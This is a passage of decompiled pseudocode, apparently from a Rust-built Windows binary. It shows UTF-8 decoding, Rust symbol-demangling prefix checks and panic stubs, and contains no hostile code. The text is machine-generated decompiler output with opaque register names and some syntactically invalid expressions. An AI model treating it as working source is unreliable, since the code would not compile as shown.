																													__eflags = _t642;
																													if(_t642 != 0) {
																														goto L472;
																													} else {
																														__eflags = _t1001 - _t1055;
																														if(__eflags <= 0) {
																															_t818 = _t1001;
																															if(__eflags != 0) {
																																goto L487;
																															} else {
																																goto L376;
																															}
																														} else {
																															_t643 = _v264;
																															__eflags =  *((char*)(_t643 + _t1055)) - 0xbf;
																															if( *((char*)(_t643 + _t1055)) <= 0xbf) {
																																goto L487;
																															} else {
																																_t818 = _t1055;
																																L376:
																																_t998 = _t1001 - _t818;
																																_t1055 = _v264 + _t818;
																																goto L326;
																															}
																														}
																													}
																												} else {
																													goto L485;
																												}
																											}
																										}
																									} else {
																										_t645 = _t1055 - _t817;
																										_t817 = _t998;
																										_t572 = _t645 + _t998;
																										__eflags = _t923 - 0x2e;
																										if(_t923 != 0x2e) {
																											continue;
																										} else {
																											goto L355;
																										}
																									}
																								} else {
																									__eflags = _t998 - _t758;
																									if(_t998 == _t758) {
																										_t998 = _t758;
																										_t767 = 0;
																										_t945 = _t923 & 0x0000001f;
																										__eflags = _t575 - 0xdf;
																										if(_t575 > 0xdf) {
																											goto L342;
																										} else {
																											goto L347;
																										}
																									} else {
																										_t438 = _t817 + 2; // 0x2
																										_t998 = _t438;
																										_t767 =  *(_t817 + 1) & 0x3f;
																										_t945 = _t923 & 0x0000001f;
																										__eflags = _t575 - 0xdf;
																										if(_t575 <= 0xdf) {
																											L347:
																											_t923 = _t945 << 0x00000006 | _t767;
																											_t758 = _v256;
																											goto L353;
																										} else {
																											L342:
																											_t1114 = _v256;
																											__eflags = _t998 - _t1114;
																											if(_t998 == _t1114) {
																												_t998 = _t1114;
																												_t769 = _t767 << 6;
																												__eflags = _t575 - 0xf0;
																												if(_t575 >= 0xf0) {
																													goto L344;
																												} else {
																													goto L349;
																												}
																											} else {
																												_t1119 =  *_t998 & 0x000000ff;
																												_t998 = _t998 + 1;
																												_t769 = _t767 << 0x00000006 | _t1119 & 0x0000003f;
																												__eflags = _t575 - 0xf0;
																												if(_t575 < 0xf0) {
																													L349:
																													_t923 = _t945 << 0x0000000c | _t769;
																													_t758 = _v256;
																													goto L353;
																												} else {
																													L344:
																													_t1116 = _v256;
																													__eflags = _t998 - _t1116;
																													if(_t998 == _t1116) {
																														_t646 = 0;
																														__eflags = 0;
																														_t998 = _t1116;
																													} else {
																														_t647 =  *_t998 & 0x000000ff;
																														_t998 = _t998 + 1;
																														_t646 = _t647 & 0x0000003f;
																													}
																													_t772 = _t769 << 0x00000006 | (_t945 & 0x00000007) << 0x00000012 | _t646;
																													__eflags = _t772 - 0x110000;
																													_t923 = _t772;
																													_t758 = _v256;
																													if(_t772 == 0x110000) {
																														goto L245;
																													} else {
																														asm("o16 nop [cs:eax+eax]");
																														goto L353;
																													}
																												}
																											}
																										}
																									}
																								}
																								goto L498;
																							}
																							goto L245;
																						}
																					} else {
																						goto L324;
																					}
																				}
																			} else {
																				_t846 = _v160;
																				_t651 =  *((intOrPtr*)( *((intOrPtr*)(_t846 + 0x1c)) + 0xc))( *((intOrPtr*)(_t846 + 0x18)), 0x6e7ec810, 2);
																				_t1127 = _t1127 + 0xc;
																				__eflags = _t651;
																				if(_t651 != 0) {
																					L472:
																					_t558 = 1;
																					goto L471;
																				} else {
																					goto L322;
																				}
																			}
																		} else {
																			L294:
																			__eflags = _v228 - _v232;
																			if(_v228 != _v232) {
																				goto L320;
																			} else {
																				__eflags = _t1059;
																				if(_t1059 == 0) {
																					goto L320;
																				} else {
																					__eflags = _v256 - 0x68;
																					if(_v256 != 0x68) {
																						goto L320;
																					} else {
																						__eflags = _t1059 - 2;
																						if(_t1059 < 2) {
																							goto L470;
																						} else {
																							_t950 =  *_t1103;
																							_t652 = _t1103;
																							__eflags = _t950 - 0xc0;
																							if(_t950 < 0xc0) {
																								L483:
																								_t825 = _v264;
																								_t927 = _t1055;
																								_push(0x6e7ec7a0);
																								L484:
																								_push(_t1055);
																								_push(1);
																								E6E7C6F60(_t825, _t927);
																								_t1127 = _t1127 + 0xc;
																								asm("ud2");
																								L485:
																								_t928 = _t1001;
																								_push(0x6e7ec8a0);
																								goto L486;
																							} else {
																								_t1001 = _t652 + 1;
																								__eflags = _t950;
																								if(_t950 < 0) {
																									L301:
																									_t775 = _v252;
																									_t952 = _t950 & 0x0000001f;
																									__eflags = _t1001 - _t775;
																									if(_t1001 == _t775) {
																										_t847 = 0;
																										_t653 = _t775;
																										_t776 = _t952 & 0x000000ff;
																										__eflags = _t952 - 0xdf;
																										if(_t952 > 0xdf) {
																											goto L303;
																										} else {
																											goto L308;
																										}
																									} else {
																										_t853 = _t654[1] & 0x000000ff;
																										_t654 =  &(_t654[2]);
																										_t847 = _t853 & 0x0000003f;
																										_t776 = _t952 & 0x000000ff;
																										__eflags = _t952 - 0xdf;
																										if(_t952 <= 0xdf) {
																											L308:
																											_t779 = _t776 << 6;
																											goto L311;
																										} else {
																											L303:
																											_t1012 = _v252;
																											__eflags = _t653 - _t1012;
																											if(_t653 == _t1012) {
																												_t654 = _t1012;
																												_t1001 = 0;
																												_t849 = _t847 << 6;
																												__eflags = _t952 - 0xf0;
																												if(_t952 >= 0xf0) {
																													goto L305;
																												} else {
																													goto L310;
																												}
																											} else {
																												_t654 =  &(_t653[1]);
																												_t1001 =  *_t653 & 0x3f;
																												_t847 = _t847 << 0x00000006 | _t1001;
																												__eflags = _t952 - 0xf0;
																												if(_t952 < 0xf0) {
																													L310:
																													_t779 = _t776 << 0xc;
																													__eflags = _t779;
																													L311:
																													_t852 = _t847 | _t779;
																													_t762 = _v260;
																													goto L315;
																												} else {
																													L305:
																													_t1001 = _v252;
																													__eflags = _t654 - _t1001;
																													if(_t654 == _t1001) {
																														_t953 = 0;
																														__eflags = 0;
																														_t654 = _t1001;
																													} else {
																														_t956 =  *_t654 & 0x000000ff;
																														_t654 =  &(_t654[1]);
																														_t953 = _t956 & 0x0000003f;
																													}
																													_t762 = _v260;
																													_t852 = _t849 << 0x00000006 | (_t776 & 0x00000007) << 0x00000012 | _t953;
																													__eflags = _t852 - 0x110000;
																													if(_t852 == 0x110000) {
																														goto L470;
																													} else {
																														asm("o16 nop [cs:eax+eax]");
																														goto L315;
																													}
																												}
																											}
																										}
																									}
																								} else {
																									L300:
																									_t852 = _t950 & 0x000000ff;
																									_t654 = _t1001;
																									L315:
																									_t418 = _t852 - 0x30; // -48
																									__eflags = _t418 - 0xa;
																									if(_t418 < 0xa) {
																										L317:
																										__eflags = _t654 - _v252;
																										if(_t654 == _v252) {
																											goto L470;
																										} else {
																											_t950 =  *_t654;
																											_t1001 =  &(_t654[1]);
																											__eflags = _t950;
																											if(_t950 >= 0) {
																												goto L300;
																											} else {
																												goto L301;
																											}
																										}
																									} else {
																										_t858 =  <  ? 0xffffffff : (_t852 | 0x00000020) + 0xffffffffffffffa9;
																										__eflags = ( <  ? 0xffffffff : (_t852 | 0x00000020) + 0xffffffffffffffa9) - 0xf;
																										if(( <  ? 0xffffffff : (_t852 | 0x00000020) + 0xffffffffffffffa9) > 0xf) {
																											goto L320;
																										} else {
																											goto L317;
																										}
																									}
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																	} else {
																		L481:
																		_t928 = _t758;
																		_push(0x6e7ec800);
																		L486:
																		_push(_t1055);
																		_push(0);
																		E6E7C6F60(_t825, _t928);
																		_t1127 = _t1127 + 0xc;
																		asm("ud2");
																		L487:
																		_t820 = _v264;
																		_t924 = _t1001;
																		_push(0x6e7ec8b0);
																		_push(_t1001);
																		L488:
																		_push(_t1055);
																		E6E7C6F60(_t820, _t924);
																		_t1127 = _t1127 + 0xc;
																		asm("ud2");
																		L489:
																		_t583 = E6E7C72C0(_t758, _t1001, _t1055, __eflags);
																		asm("ud2");
																		L490:
																		E6E7C6F60(_t820, _t924, _t583, _t924, 0x6e7ec874);
																		_t1127 = _t1127 + 0xc;
																		asm("ud2");
																		L491:
																		_t821 = _t1055;
																		_t925 = _t1001;
																		_push(0x6e7ec824);
																		L496:
																		_push(_t1001);
																		_push(1);
																		E6E7C6F60(_t821, _t925);
																		asm("ud2");
																		L497:
																		E6E7C6F60(_t1055, _t1001, 2, _t1001, 0x6e7ec844);
																		asm("ud2");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		_t587 = _v256;
																		return  *((intOrPtr*)( *((intOrPtr*)(_t587 + 0x1c)) + 0xc))( *((intOrPtr*)(_t587 + 0x18)), "SizeLimitExhausted", 0x12);
																	}
																}
															}
														}
														goto L498;
													}
												}
												L470:
												_t558 = 0;
												__eflags = 0;
												goto L471;
											} else {
												_v224 = 0;
												_v220 =  *((intOrPtr*)(_t556 + 4));
												_v216 =  *((intOrPtr*)(_t556 + 8));
												_v212 = 0;
												_v208 = 0;
												_v204 = _t918;
												_v200 = 0;
												_t558 = E6E7A4CB0( &_v224);
												L471:
												return _t558;
											}
										} else {
											_t58 = _t910 + 1; // 0x1
											_t755 = _t58;
											_t758 =  *(_v160 + _t910) & 0x000000ff;
											_t1142 = _t758 -  *((intOrPtr*)(_t998 + _t910));
											_t910 = _t755;
											if(_t1142 == 0) {
												continue;
											} else {
												_t989 = _v156;
												_v164 = 0;
												_t998 = _t995 + _v124 + _t755;
												goto L9;
											}
										}
										goto L498;
									}
									_t998 = _t995;
									_t911 = _v136;
									_t996 = _v156;
									asm("o16 nop [eax+eax]");
									while(1) {
										__eflags = _v164 - _t911;
										if(_v164 >= _t911) {
											break;
										}
										_t902 = _t911 - 1;
										__eflags = _t902 - _v144;
										if(__eflags >= 0) {
											L234:
											_t916 = _v144;
											_push(0x6e7ecef0);
											goto L235;
										} else {
											_t758 = _t902 + _t998;
											_t1055 = _t996;
											__eflags = _t758 - _t996;
											if(__eflags >= 0) {
												_t902 = _t758;
												_t916 = _t1055;
												_push(0x6e7ecf00);
												goto L235;
											} else {
												_t751 = _v160;
												_t997 = _v148;
												__eflags = ( *(_t751 + _t902) & 0x000000ff) -  *((intOrPtr*)(_t997 + _t758));
												_t996 = _t1055;
												if(( *(_t751 + _t902) & 0x000000ff) ==  *((intOrPtr*)(_t997 + _t758))) {
													continue;
												} else {
													_t998 = _t998 + _v132;
													_v164 = _v128;
													goto L9;
												}
											}
										}
										goto L498;
									}
									L39:
									_t809 = _v152;
									_t1055 = _t998 + 6;
									__eflags = _t1055;
									if(_t1055 == 0) {
										L44:
										__eflags = _t1055 - _a4;
										if(_t1055 != _a4) {
											_t983 = _v152;
											_v140 = _t998;
											_t895 = _t983 + _a4;
											_t1087 = _t1055 + _t983;
											do {
												_t758 =  *_t1087 & 0x000000ff;
												_t704 = _t1087 + 1;
												_t984 = _t758 & 0x000000ff;
												__eflags = _t758;
												if(_t758 < 0) {
													__eflags = _t704 - _t895;
													if(_t704 == _t895) {
														_t1042 = 0;
														_t1055 = _t895;
														_t985 = _t984 & 0x0000001f;
														__eflags = _t758 - 0xdf;
														if(_t758 > 0xdf) {
															goto L55;
														} else {
															goto L60;
														}
													} else {
														_t1048 =  *(_t1087 + 1) & 0x000000ff;
														_t1087 = _t1087 + 2;
														_t1042 = _t1048 & 0x0000003f;
														_t985 = _t984 & 0x0000001f;
														__eflags = _t758 - 0xdf;
														if(_t758 <= 0xdf) {
															L60:
															_t988 = _t985 << 6;
															goto L63;
														} else {
															L55:
															__eflags = _t1055 - _t895;
															if(_t1055 == _t895) {
																_t1055 = _t895;
																_t1044 = _t1042 << 6;
																__eflags = _t758 - 0xf0;
																if(_t758 >= 0xf0) {
																	goto L57;
																} else {
																	goto L62;
																}
															} else {
																_t1087 = _t1055 + 1;
																_t1042 = _t1042 << 0x00000006 |  *_t1055 & 0x3f;
																__eflags = _t758 - 0xf0;
																if(_t758 < 0xf0) {
																	L62:
																	_t988 = _t985 << 0xc;
																	__eflags = _t988;
																	L63:
																	_t984 = _t988 | _t1042;
																	_t998 = _v140;
																	goto L67;
																} else {
																	L57:
																	__eflags = _t1055 - _t895;
																	if(_t1055 == _t895) {
																		_t706 = 0;
																		__eflags = 0;
																		_t1087 = _t895;
																	} else {
																		_t1087 = _t1055 + 1;
																		_t706 =  *_t1055 & 0x3f;
																	}
																	_t1047 = _t1044 << 0x00000006 | (_t985 & 0x00000007) << 0x00000012 | _t706;
																	__eflags = _t1047 - 0x110000;
																	_t984 = _t1047;
																	_t998 = _v140;
																	if(_t1047 == 0x110000) {
																		goto L45;
																	} else {
																		asm("o16 nop [cs:eax+eax]");
																		goto L67;
																	}
																}
															}
														}
													}
												} else {
													_t1087 = _t704;
													L67:
													_t152 = _t984 - 0x41; // -65
													__eflags = _t152 - 6;
													if(_t152 < 6) {
														goto L50;
													} else {
														__eflags = _t984 - 0x30;
														if(_t984 < 0x30) {
															goto L71;
														} else {
															__eflags = _t984 - 0x3a;
															if(_t984 < 0x3a) {
																goto L50;
															} else {
																__eflags = _t984 - 0x40;
																if(_t984 == 0x40) {
																	goto L50;
																} else {
																	goto L71;
																}
															}
														}
													}
												}
												goto L498;
												L50:
												__eflags = _t1087 - _t895;
											} while (_t1087 != _t895);
											goto L45;
										} else {
											L45:
											__eflags = _t998;
											if(_t998 == 0) {
												L215:
												_t808 = 3;
												goto L216;
											} else {
												_t1055 = _a4;
												__eflags = _t998 - _t1055;
												_v160 = _t1055;
												if(__eflags >= 0) {
													_t916 = _v152;
													if(__eflags == 0) {
														goto L72;
													} else {
														goto L89;
													}
												} else {
													_t916 = _v152;
													__eflags =  *((char*)(_t916 + _t998)) - 0xbf;
													if( *((char*)(_t916 + _t998)) <= 0xbf) {
														L89:
														_t809 = _t916;
														_t917 = _a4;
														_push(0x6e7eccac);
														_push(_t998);
														_push(0);
														goto L242;
													} else {
														_v160 = _t998;
														L72:
														__eflags = _v160 - 3;
														if(_v160 >= 3) {
															__eflags =  *(_t916 + 2) & 0x000000ff ^ 0x0000004e |  *_t916 & 0x0000ffff ^ 0x00005a5f;
															if(( *(_t916 + 2) & 0x000000ff ^ 0x0000004e |  *_t916 & 0x0000ffff ^ 0x00005a5f) == 0) {
																__eflags = _v160 - 4;
																_t758 = 0xfffffffd;
																_t806 = 3;
																if(_v160 < 4) {
																	_v160 = 3;
																	goto L93;
																} else {
																	__eflags =  *((char*)(_t916 + 3)) - 0xbf;
																	if( *((char*)(_t916 + 3)) > 0xbf) {
																		goto L93;
																	} else {
																		_t809 = _t916;
																		_t917 = _v160;
																		_push(0x6e7ec770);
																		goto L241;
																	}
																}
															} else {
																goto L76;
															}
														} else {
															__eflags = _v160 - 2;
															_t808 = 3;
															_v160 = 2;
															if(_v160 == 2) {
																L76:
																__eflags = ( *_t916 & 0x0000ffff) - 0x4e5a;
																if(( *_t916 & 0x0000ffff) == 0x4e5a) {
																	__eflags = _v160 - 3;
																	_t758 = 0xfffffffe;
																	_t806 = 2;
																	if(_v160 < 3) {
																		_v160 = 2;
																		goto L93;
																	} else {
																		__eflags =  *(_t916 + 2) - 0xbf;
																		if( *(_t916 + 2) > 0xbf) {
																			goto L93;
																		} else {
																			_t809 = _t916;
																			_t917 = _v160;
																			_push(0x6e7ec780);
																			goto L238;
																		}
																	}
																} else {
																	__eflags = _v160 - 4;
																	if(_v160 < 4) {
																		L160:
																		__eflags = _v160 - 3;
																		if(_v160 < 3) {
																			__eflags = _v160 - 2;
																			_t808 = 3;
																			if(_v160 != 2) {
																				goto L216;
																			} else {
																				__eflags =  *_t916 - 0x52;
																				_v160 = 2;
																				if( *_t916 != 0x52) {
																					goto L216;
																				} else {
																					goto L170;
																				}
																			}
																		} else {
																			goto L161;
																		}
																	} else {
																		__eflags =  *_t916 - 0x4e5a5f5f;
																		if( *_t916 != 0x4e5a5f5f) {
																			L161:
																			__eflags = ( *_t916 & 0x0000ffff) - 0x525f;
																			if(( *_t916 & 0x0000ffff) == 0x525f) {
																				_t685 =  *(_t916 + 2);
																				__eflags = _t685 - 0xbf;
																				if(_t685 <= 0xbf) {
																					_t809 = _t916;
																					_t917 = _v160;
																					_push(0x6e7ec928);
																					L238:
																					_push(_t917);
																					_push(2);
																					goto L242;
																				} else {
																					_t863 = _t916 + 2;
																					_t780 = 0xfffffffe;
																					__eflags = _t685 + 0xbf - 0x19;
																					if(_t685 + 0xbf > 0x19) {
																						goto L215;
																					} else {
																						goto L175;
																					}
																				}
																			} else {
																				__eflags =  *_t916 - 0x52;
																				if( *_t916 == 0x52) {
																					L170:
																					_t553 =  *((intOrPtr*)(_t916 + 1));
																					__eflags = _t553 - 0xbf;
																					if(_t553 <= 0xbf) {
																						goto L236;
																					} else {
																						_t863 = _t916 + 1;
																						_t780 = 0xffffffff;
																						__eflags = _t553 + 0xbf - 0x19;
																						if(_t553 + 0xbf <= 0x19) {
																							goto L175;
																						} else {
																							goto L215;
																						}
																					}
																				} else {
																					__eflags = _v160 - 3;
																					_t808 = 3;
																					if(_v160 <= 3) {
																						goto L216;
																					} else {
																						__eflags =  *(_t916 + 2) & 0x000000ff ^ 0x00000052 |  *_t916 & 0x0000ffff ^ 0x00005f5f;
																						_t808 = 3;
																						if(( *(_t916 + 2) & 0x000000ff ^ 0x00000052 |  *_t916 & 0x0000ffff ^ 0x00005f5f) != 0) {
																							goto L216;
																						} else {
																							_t689 =  *((intOrPtr*)(_t916 + 3));
																							__eflags = _t689 - 0xbf;
																							if(_t689 <= 0xbf) {
																								L240:
																								_t809 = _t916;
																								_t917 = _v160;
																								_push(0x6e7ec948);
																								L241:
																								_push(_t917);
																								_push(3);
																								goto L242;
																							} else {
																								_t863 = _t916 + 3;
																								_t780 = 0xfffffffd;
																								__eflags = _t689 + 0xbf - 0x19;
																								if(_t689 + 0xbf <= 0x19) {
																									L175:
																									_t758 = _t780 + _v160;
																									_t665 = 0;
																									asm("o16 nop [cs:eax+eax]");
																									while(1) {
																										__eflags = _t758 - _t665;
																										if(_t758 == _t665) {
																											break;
																										}
																										__eflags =  *((char*)(_t863 + _t665));
																										_t665 = _t665 + 1;
																										if(__eflags >= 0) {
																											continue;
																										} else {
																											goto L215;
																										}
																										goto L498;
																									}
																									_v104 = 0;
																									_v100 = _t863;
																									_v144 = _t863;
																									_v96 = _t758;
																									_v88 = 0;
																									_v92 = 0;
																									_v80 = 0;
																									_v84 = 0;
																									__eflags = E6E7A4CB0( &_v104);
																									if(__eflags != 0) {
																										L239:
																										_t916 = 0x3d;
																										E6E7C6EE0(_t758, "`fmt::Error`s should be impossible without a `fmt::Formatter`", 0x3d, __eflags,  &_v32, 0x6e7ec6b4, 0x6e7ec9a8);
																										_t1124 = _t1124 + 0xc;
																										asm("ud2");
																										goto L240;
																									} else {
																										__eflags = _v104 - 1;
																										_t963 = _v152;
																										if(_v104 == 1) {
																											goto L215;
																										} else {
																											_t866 = _v96;
																											_t669 = _v92;
																											_t998 = _v100;
																											__eflags = _t669 - _t866;
																											if(_t669 >= _t866) {
																												L218:
																												_v164 = _t998;
																												goto L219;
																											} else {
																												_v156 = _t866;
																												__eflags =  *((intOrPtr*)(_t998 + _t669)) + 0xbf - 0x1a;
																												if( *((intOrPtr*)(_t998 + _t669)) + 0xbf >= 0x1a) {
																													_t866 = _v156;
																													goto L218;
																												} else {
																													_v104 = 0;
																													_v100 = _t998;
																													_v96 = _v156;
																													_v92 = _t669;
																													_v84 = 0;
																													_v80 = 0;
																													__eflags = E6E7A4CB0( &_v104);
																													if(__eflags != 0) {
																														goto L239;
																													} else {
																														__eflags = _v104 - 1;
																														_t963 = _v152;
																														_t808 = 3;
																														if(_v104 == 1) {
																															goto L216;
																														} else {
																															_t866 = _v96;
																															_v164 = _v100;
																															_t669 = _v92;
																															L219:
																															__eflags = _t669;
																															if(_t669 == 0) {
																																L224:
																																_v164 = _v164 + _t669;
																																_t867 = _t866 - _t669;
																																_v136 = 1;
																																__eflags = _t867;
																																if(_t867 != 0) {
																																	goto L188;
																																} else {
																																	goto L225;
																																}
																																goto L216;
																															} else {
																																__eflags = _t866 - _t669;
																																if(__eflags <= 0) {
																																	if(__eflags != 0) {
																																		goto L222;
																																	} else {
																																		goto L224;
																																	}
																																} else {
																																	_t998 = _v164;
																																	__eflags =  *((char*)(_t998 + _t669)) - 0xbf;
																																	if( *((char*)(_t998 + _t669)) > 0xbf) {
																																		goto L224;
																																	} else {
																																		L222:
																																		_t917 = _t866;
																																		_t809 = _v164;
																																		_push(0x6e7ec958);
																																		_push(_t866);
																																		_push(_t669);
																																		goto L242;
																																	}
																																}
																															}
																														}
																													}
																												}
																											}
																										}
																									}
																								} else {
																									goto L215;
																								}
																							}
																						}
																					}
																				}
																			}
																		} else {
																			__eflags = _v160 - 5;
																			_t758 = 0xfffffffc;
																			_t806 = 4;
																			if(_v160 < 5) {
																				_v160 = 4;
																				goto L93;
																			} else {
																				__eflags =  *((char*)(_t916 + 4)) - 0xbf;
																				if( *((char*)(_t916 + 4)) > 0xbf) {
																					L93:
																					_t758 = _t758 + _v160;
																					_t807 = _t806 + _t916;
																					__eflags = _t807;
																					_v144 = _t807;
																					_v156 = _t807 + _t758;
																					_t551 = _t758;
																					while(1) {
																						__eflags = _t551;
																						if(_t551 == 0) {
																							break;
																						}
																						_t551 = _t551 - 1;
																						__eflags =  *_t807;
																						_t807 = _t807 + 1;
																						if(__eflags >= 0) {
																							continue;
																						} else {
																							goto L160;
																						}
																						goto L498;
																					}
																					__eflags = _t758;
																					if(_t758 == 0) {
																						goto L160;
																					} else {
																						_t691 = _v144;
																						_v148 = _t758;
																						_t967 =  *_t691;
																						_v164 = _t691 + 1;
																						_t998 = _t967 & 0x000000ff;
																						__eflags = _t967;
																						if(_t967 >= 0) {
																							L112:
																							_t963 = _v152;
																						} else {
																							_t1055 = _v156;
																							_t694 = 0;
																							__eflags = _t758 - 1;
																							if(_t758 != 1) {
																								_t700 = _v144;
																								_t1055 = _t700 + 2;
																								_v164 = _t1055;
																								_t694 =  *(_t700 + 1) & 0x3f;
																								__eflags = _t694;
																							}
																							_t1037 = _t998 & 0x0000001f;
																							__eflags = _t967 - 0xdf;
																							if(_t967 <= 0xdf) {
																								_t998 = _t1037 << 0x00000006 | _t694;
																								goto L112;
																							} else {
																								_t894 = _v156;
																								__eflags = _t1055 - _t894;
																								if(_t1055 == _t894) {
																									_t789 = 0;
																									__eflags = 0;
																									_t1055 = _t894;
																								} else {
																									_t790 =  *_t1055 & 0x000000ff;
																									_t1055 = _t1055 + 1;
																									_v164 = _t1055;
																									_t789 = _t790 & 0x0000003f;
																								}
																								_t696 = _t694 << 0x00000006 | _t789;
																								__eflags = _t967 - 0xf0;
																								if(_t967 < 0xf0) {
																									_t963 = _v152;
																									_t758 = _v148;
																									_t998 = _t1037 << 0x0000000c | _t696;
																								} else {
																									__eflags = _t1055 - _v156;
																									if(_t1055 == _v156) {
																										_t981 = 0;
																										__eflags = 0;
																									} else {
																										_t982 =  *_t1055 & 0x000000ff;
																										_t1055 = _t1055 + 1;
																										_v164 = _t1055;
																										_t981 = _t982 & 0x0000003f;
																									}
																									_t758 = _v148;
																									_t699 = _t696 << 0x00000006 | (_t1037 & 0x00000007) << 0x00000012 | _t981;
																									__eflags = _t699;
																									_t998 = _t699;
																									goto L112;
																								}
																							}
																						}
																						_t881 = _v156;
																						__eflags = _t998 - 0x45;
																						_v136 = 0;
																						if(_t998 == 0x45) {
																							_v140 = 0;
																							goto L187;
																						} else {
																							__eflags = _t998 - 0x110000;
																							if(_t998 != 0x110000) {
																								_v140 = 0;
																								while(1) {
																									L116:
																									_t998 = _t998 + 0xffffffd0;
																									__eflags = _t998 - 9;
																									if(__eflags > 0) {
																										goto L160;
																									}
																									_t692 = 0;
																									while(1) {
																										_t968 = _t692 * 0xa >> 0x20;
																										_t692 = _t692 * 0xa + _t998;
																										_t883 = 0 | __eflags > 0x00000000;
																										if(__eflags != 0) {
																											break;
																										}
																										_t916 = _v152;
																										__eflags = _t883;
																										if(_t883 != 0) {
																											goto L160;
																										} else {
																											_t998 = _v164;
																											__eflags = _t998 - _v156;
																											if(_t998 == _v156) {
																												goto L160;
																											} else {
																												_t786 =  *_t998 & 0x000000ff;
																												_t884 = _t998 + 1;
																												_t970 = _t786 & 0x000000ff;
																												__eflags = _t786;
																												if(_t786 < 0) {
																													_t1029 = _v156;
																													__eflags = _t884 - _t1029;
																													_t881 = _t1029;
																													if(_t884 == _t1029) {
																														_t1030 = 0;
																														_v164 = _t881;
																														_t971 = _t970 & 0x0000001f;
																														__eflags = _t786 - 0xdf;
																														if(_t786 <= 0xdf) {
																															goto L118;
																														} else {
																															goto L130;
																														}
																													} else {
																														_t1055 = _t881;
																														_t892 = _v164;
																														_v164 = _t892 + 2;
																														_t881 = _t1055;
																														_t1030 =  *(_t892 + 1) & 0x3f;
																														_t971 = _t970 & 0x0000001f;
																														__eflags = _t786 - 0xdf;
																														if(_t786 <= 0xdf) {
																															L118:
																															_t758 = _v148;
																															_t970 = _t971 << 0x00000006 | _t1030;
																															__eflags = _t970;
																															asm("o16 nop [cs:eax+eax]");
																															goto L119;
																														} else {
																															L130:
																															_t1076 = _v164;
																															__eflags = _t1076 - _t881;
																															if(_t1076 == _t881) {
																																_t1055 = 0;
																																_v164 = _t881;
																																_t1032 = _t1030 << 6;
																																__eflags = _t786 - 0xf0;
																																if(_t786 >= 0xf0) {
																																	goto L132;
																																} else {
																																	goto L135;
																																}
																															} else {
																																_v164 =  &(_t1076[1]);
																																_t1055 =  *_t1076 & 0x3f;
																																_t1032 = _t1030 << 0x00000006 | _t1055;
																																__eflags = _t786 - 0xf0;
																																if(_t786 < 0xf0) {
																																	L135:
																																	_t970 = _t971 << 0x0000000c | _t1032;
																																	goto L125;
																																} else {
																																	L132:
																																	_t889 = _v156;
																																	_t1077 = _v164;
																																	_t758 = _v148;
																																	__eflags = _t1077 - _t889;
																																	if(_t1077 == _t889) {
																																		_t1055 = 0;
																																		__eflags = 0;
																																		_v164 = _t889;
																																	} else {
																																		_v164 =  &(_t1077[1]);
																																		_t1055 =  *_t1077 & 0x3f;
																																	}
																																	_t881 = _v156;
																																	_t998 = _t1032 << 0x00000006 | (_t971 & 0x00000007) << 0x00000012 | _t1055;
																																	__eflags = _t998 - 0x110000;
																																	_t970 = _t998;
																																	if(_t998 != 0x110000) {
																																		goto L119;
																																	} else {
																																		break;
																																	}
																																}
																															}
																														}
																													}
																												} else {
																													_v164 = _t884;
																													L125:
																													_t758 = _v148;
																													_t881 = _v156;
																													L119:
																													_t998 = _t970 - 0x30;
																													__eflags = _t998 - 0xa;
																													if(__eflags >= 0) {
																														_t998 = _v164;
																														__eflags = _t692;
																														if(_t692 != 0) {
																															while(1) {
																																__eflags = _t998 - _t881;
																																if(_t998 == _t881) {
																																	goto L159;
																																}
																																_t787 =  *_t998 & 0x000000ff;
																																_t1055 = _t998 + 1;
																																_t970 = _t787 & 0x000000ff;
																																__eflags = _t787;
																																if(_t787 >= 0) {
																																	_t758 = _v148;
																																	_t998 = _t1055;
																																	goto L143;
																																} else {
																																	__eflags = _t1055 - _t881;
																																	if(_t1055 == _t881) {
																																		_t1055 = 0;
																																		_t998 = _t881;
																																		_t973 = _t970 & 0x0000001f;
																																		__eflags = _t787 - 0xdf;
																																		if(_t787 > 0xdf) {
																																			goto L148;
																																		} else {
																																			goto L151;
																																		}
																																	} else {
																																		_t1085 =  *(_t998 + 1) & 0x000000ff;
																																		_t998 = _t998 + 2;
																																		_t1055 = _t1085 & 0x0000003f;
																																		_t973 = _t970 & 0x0000001f;
																																		__eflags = _t787 - 0xdf;
																																		if(_t787 <= 0xdf) {
																																			L151:
																																			_t758 = _v148;
																																			_t970 = _t973 << 0x00000006 | _t1055;
																																			goto L143;
																																		} else {
																																			L148:
																																			__eflags = _t998 - _t881;
																																			if(_t998 == _t881) {
																																				_t998 = _t881;
																																				_t885 = 0;
																																				__eflags = 0;
																																			} else {
																																				_t888 =  *_t998 & 0x000000ff;
																																				_t998 = _t998 + 1;
																																				_t885 = _t888 & 0x0000003f;
																																			}
																																			_t1055 = _t1055 << 0x00000006 | _t885;
																																			__eflags = _t787 - 0xf0;
																																			if(_t787 < 0xf0) {
																																				_t758 = _v148;
																																				_t881 = _v156;
																																				_t970 = _t973 << 0x0000000c | _t1055;
																																				goto L143;
																																			} else {
																																				_t788 = _v156;
																																				__eflags = _t998 - _t788;
																																				if(_t998 == _t788) {
																																					_t886 = 0;
																																					__eflags = 0;
																																					_t998 = _t788;
																																				} else {
																																					_t887 =  *_t998 & 0x000000ff;
																																					_t998 = _t998 + 1;
																																					_t886 = _t887 & 0x0000003f;
																																				}
																																				_t758 = _v148;
																																				_t1055 = _t1055 << 0x00000006 | (_t973 & 0x00000007) << 0x00000012 | _t886;
																																				_t881 = _v156;
																																				__eflags = _t1055 - 0x110000;
																																				_t970 = _t1055;
																																				if(_t1055 != 0x110000) {
																																					L143:
																																					_t692 = _t692 - 1;
																																					__eflags = _t692;
																																					if(_t692 == 0) {
																																						goto L140;
																																					} else {
																																						continue;
																																					}
																																				} else {
																																					goto L159;
																																				}
																																			}
																																		}
																																	}
																																}
																																goto L498;
																															}
																															break;
																														} else {
																															L140:
																															_v164 = _t998;
																															_v140 = _v140 + 1;
																															__eflags = _t970 - 0x45;
																															_t998 = _t970;
																															_t916 = _v152;
																															if(_t970 != 0x45) {
																																goto L116;
																															} else {
																																L187:
																																_t867 = _t881 - _v164;
																																__eflags = _t867;
																																if(_t867 == 0) {
																																	L225:
																																	_t1025 = 0;
																																	__eflags = 0;
																																	goto L226;
																																} else {
																																	L188:
																																	_t670 = _v164;
																																	__eflags =  *_t670 - 0x2e;
																																	if( *_t670 != 0x2e) {
																																		goto L215;
																																	} else {
																																		_v148 = _t758;
